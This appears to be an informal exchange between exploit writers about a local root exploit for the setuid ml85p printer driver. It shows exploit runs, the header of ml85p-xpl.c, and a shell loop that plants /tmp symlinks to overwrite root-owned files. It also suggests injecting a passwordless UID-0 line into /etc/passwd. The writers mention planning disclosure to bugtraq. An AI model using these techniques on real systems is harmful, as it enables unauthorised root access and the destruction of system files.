Hey kev...

I downloaded the source for this and have it compiled... 

Check this out

[-(core@devastator:~/bleedingedge)> ./ml85p-xpl /etc/rc.owned by_core
ml85p-xpl.c by core (c) 2001
backing up /etc/rc.owned to /tmp/ez.TMwyqr
/bin/cp: cannot stat `/etc/rc.owned': No such file or directory
/bin/touch: getting attributes of `/etc/rc.owned': No such file or

creating a lot of symlinks
Running a few times since I'm lazy.

All done. Enjoy!

Wanna play with it a bit more but we should publish it to bugtraq soon.

/* ml85p-xpl.c
 *
 * Quick hack to exploit ml85p
 *
 * Simply run it with the file you want to create/overwrite
 * and the data you wish to place in the file.
 *
 * Example:
 *
 * $ gcc -g -Wall ml85p-xpl.c -o ml85p-xpl
 * $ ./ml85p-xpl /etc/passwd owned::0:0::/root:/bin/bash
 *
 * Then login as owned... etc..

I might have to hack the code to get that far since I dont have the
printer.

I am not sure what other OS's pick for permissions by defualt...
mandrake seems to not allow user access by default ... I don't know
what group you need to have access to use this feature.

You can change the umask.
 
[d0tslash@linux d0tslash]$ /usr/bin/ml85p
bash: /usr/bin/ml85p: Permission denied

[d0tslash@linux d0tslash]$ ls -al /usr/bin/ml85p
-rwsr-x---    1 root     sys         11676 Mar 30 11:43 /usr/bin/ml85p*

for shits and giggles lets see what happens if its got bad perms.
[root@linux exp]# chmod 4755 /usr/bin/ml85p

If it's installed from the tarball the perms are ok for sploitin'

[-(core@devastator:~/bleedingedge/ml85p-driver)> ls -l `which ml85p`
-r-sr-sr-x    1 root     staff       11196 Jul 10 11:25

in which case the results are as follows

[d0tslash@linux d0tslash]$ /usr/bin/ml85p -s (several times)
-rw-r--r--    1 root     d0tslash        0 Jul  6 19:53 ml85g994463605

while [ $L -lt $H ]
do
        ln -s /etc/oops /tmp/ml85g`./ml85p-exp`
        let L=L+1
done

the following file is created.
-rw-r--r--    1 root     d0tslash        0 Jul  6 20:18 /etc/oops

not sure what use this is short of clobbering files... since the output is sent to this file it may be possible to 
print
owned::0:0:root:/root:/bin/bash  to this driver and it may append it to the file in /tmp... I am not sure though... 
just an idea
